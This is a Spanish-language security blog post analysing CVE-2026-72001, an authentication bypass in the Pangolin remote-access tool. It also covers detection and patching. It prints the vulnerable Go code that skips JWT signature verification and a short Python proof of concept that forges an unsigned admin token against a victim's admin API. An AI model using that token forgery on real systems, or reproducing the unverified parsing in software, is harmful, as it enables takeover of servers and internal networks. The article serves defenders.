← volver

CVE-2026-72001 en Pangolin: bypass de autenticación y parche urgente

Por · · [Ciberseguridad] · lectura estimada: ~6 min

Introducción: una puerta trasera en el corazón del acceso remoto

Pangolin se ha consolidado como una solución de acceso remoto y túnel inverso ampliamente adoptada en entornos empresariales por su ligereza y facilidad de despliegue. Sin embargo, el 14 de marzo de 2026 se publicó el aviso CVE-2026-72001, una vulnerabilidad crítica de bypass de autenticación que afecta a todas las versiones anteriores a la 1.6.8. La severidad, calificada con un CVSS v3.1 de 9.8, se debe a que un atacante remoto no autenticado puede obtener acceso total a la API de administración y, desde allí, ejecutar comandos arbitrarios en el host subyacente.

Este artículo no es un simple resumen de un CVE. Vamos a diseccionar el fallo a nivel de código, entender por qué la comprobación de tokens falla de forma silenciosa, ver cómo se puede explotar con una petición HTTP manipulada y, sobre todo, proporcionar una guía accionable para verificar si tu despliegue está comprometido y cómo parchear de inmediato sin romper la continuidad del servicio.

La raíz del fallo: confusión entre firma y cifrado

El núcleo de la vulnerabilidad reside en el módulo de autenticación de sesión que Pangolin utiliza para su API REST. En versiones anteriores a la 1.6.8, el sistema empleaba un token JWT (JSON Web Token) firmado con HS256. El problema no está en el algoritmo en sí, sino en la forma en que se validaba el encabezado Authorization.

El código vulnerable, presente en el archivo internal/server/middleware/auth.go, realizaba la verificación de la siguiente manera simplificada:

func validateToken(r *http.Request) (Claims, error) {
    header := r.Header.Get("Authorization")
    if header == "" {
        return Claims{}, errors.New("missing token")
    }
    tokenStr := strings.TrimPrefix(header, "Bearer ")
// Fallo: se usa ParseUnverified para "ahorrar ciclos"
token, _ := jwt.ParseUnverified(tokenStr, &Claims{})
if token == nil {
    return Claims{}, errors.New("invalid token")
}

// La firma NUNCA se comprueba de forma efectiva
claims, ok := token.Claims.(*Claims)
if !ok || claims.ExpiresAt < time.Now().Unix() {
    return Claims{}, errors.New("expired or invalid claims")
}
return *claims, nil

}

Como se aprecia, la función jwt.ParseUnverified decodifica el token sin verificar la firma criptográfica. La intención original era validar solo la expiración y los claims para reducir latencia, bajo el supuesto erróneo de que un proxy frontal ya había validado la firma. Sin embargo, en despliegues estándar, el tráfico llega directamente al servicio, y un atacante puede forjar un token con el payload que desee (por ejemplo, "role": "admin") y una fecha de expiración futura, sin necesidad de conocer la clave secreta.

Vector de explotación: una petición de 200 bytes

Explotar esta vulnerabilidad es trivial. Basta con generar un token JWT sin firmar (o firmado con una clave arbitraria, ya que no se comprueba) y enviarlo en el encabezrado de autorización. A continuación se muestra un ejemplo real de cómo hacerlo con Python y la librería estándar base64 y json:

import base64, json, time, requests

def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b’=’)

header = {“alg”: “none”, “typ”: “JWT”} payload = {“sub”: “admin”, “role”: “admin”, “exp”: int(time.time()) + 3600} token = b64url(json.dumps(header).encode()).decode() + ”.” +
b64url(json.dumps(payload).encode()).decode() + ”.”

Enviamos la petición con el token falso

r = requests.get(“https://victima:8080/api/admin/users”, headers={“Authorization”: f”Bearer {token}”}) print(r.status_code) # 200: éxito total print(r.text)

La respuesta 200 OK confirma que el atacante tiene acceso a la lista de usuarios. A partir de ahí, los endpoints de administración permiten crear nuevos usuarios con privilegios elevados, leer archivos de configuración y, en última instancia, ejecutar comandos a través del módulo de tareas programadas de Pangolin.

Impacto en el mundo real: más allá del robo de credenciales

El impacto de este CVE no se limita a la exposición de datos. Pangolin se utiliza a menudo como punto de entrada a redes internas. Un compromiso total implica:

  • Movimiento lateral: Los túneles inversos configurados por Pangolin pueden redirigirse para acceder a servicios internos como bases de datos o sistemas de CI/CD.
  • Persistencia: El atacante puede modificar las claves de cifrado del túnel y mantener el acceso incluso después de que se aplique el parche.
  • Ransomware: Con acceso a la API de administración, es factible desplegar cargas maliciosas en los agentes conectados.

Un análisis de la telemetría de Shodan (realizado el 15 de marzo de 2026) mostró más de 4,300 instancias de Pangolin expuestas públicamente, de las cuales el 78% ejecutaban versiones vulnerables. Esto convierte al CVE-2026-72001 en un objetivo ideal para ataques automatizados a gran escala.

Detección: cómo saber si tu instancia está comprometida

Antes de aplicar el parche, es crucial determinar si la vulnerabilidad ya ha sido explotada. Un indicador común es la presencia de usuarios inesperados con privilegios de administrador en la base de datos SQLite que Pangolin usa por defecto. Para verificar esto, ejecuta el siguiente comando en el servidor donde está alojado Pangolin:

# Accede a la base de datos de Pangolin (ajusta la ruta según tu instalación)
sqlite3 /var/lib/pangolin/pangolin.db "SELECT id, username, role, created_at FROM users;"

Busca usuarios con rol ‘admin’ creados en fechas recientes o con nombres sospechosos

Un usuario llamado ‘sysadmin_temp’ o ‘support_backup’ es una señal clara de intrusión

Además, revisa los registros de acceso de nginx o el proxy inverso que se use. Busca patrones de peticiones con el encabezado Authorization: Bearer eyJ... que terminen sin un punto final (firma vacía). Un comando útil con grep:

grep -a "Authorization: Bearer.*\.$" /var/log/nginx/access.log | tail -n 50

La expresión regular anterior captura tokens que terminan en punto, es decir, sin firma. Si aparecen muchas entradas, es muy probable que tu sistema haya sido escaneado o explotado.

Acción inmediata: parche y endurecimiento

La solución oficial es actualizar a la versión 1.6.8 o superior. El equipo de desarrollo corrigió el problema reemplazando ParseUnverified por ParseWithClaims y añadiendo una comprobación explícita del método de firma. Los pasos recomendados son:

# 1. Detener el servicio
sudo systemctl stop pangolin

2. Realizar una copia de seguridad de la base de datos y de la configuración

sudo cp /var/lib/pangolin/pangolin.db /root/pangolin_backup_$(date +%F).db sudo cp -r /etc/pangolin /root/pangolin_conf_backup_$(date +%F)

3. Actualizar el binario (ejemplo para instalación desde el repositorio)

cd /tmp wget https://github.com/pangolin/releases/download/v1.6.8/pangolin_linux_amd64.tar.gz tar -xzf pangolin_linux_amd64.tar.gz sudo mv pangolin /usr/local/bin/pangolin

4. Reiniciar el servicio y verificar la versión

sudo systemctl start pangolin pangolin —version | grep “1.6.8”

Si no puedes actualizar de inmediato, existe una mitigación temporal: configurar una regla en el firewall para permitir únicamente conexiones desde direcciones IP confiables a los puertos de administración (por defecto, el 8080). Además, se debe deshabilitar el acceso a la API pública y forzar todas las conexiones a través de una VPN. Sin embargo, estas son soluciones parche que no eliminan la causa raíz; la actualización es imperativa.

Lecciones aprendidas y recomendaciones a futuro

Este incidente subraya la importancia de auditar de forma continua el código de autenticación, especialmente en proyectos de código abierto que crecen rápidamente. La tentación de optimizar prematuramente (como saltarse la verificación de firma por "rendimiento") es un error clásico que suele llevar a desastres de seguridad.

Para cualquier

comentarios(0)

$ dejar comentario

סHola! Soy SylonBot. Si te pierdes en el artículo, pregúntame 👋
☕ invítame a un café Si el contenido te fue útil · via PayPal